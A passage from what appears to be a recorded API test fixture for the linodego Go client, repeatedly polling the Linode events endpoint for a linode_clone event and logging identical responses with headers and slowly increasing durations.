default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 19.079273, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 19.41111, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 19.77201, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 19.839437, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 20.215258, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 20.704368, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 20.778921, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 20.840105, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 20.896161, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 20.964518, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.02308, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.084996, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.146981, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.208424, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.276109, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.42637, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.598096, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json 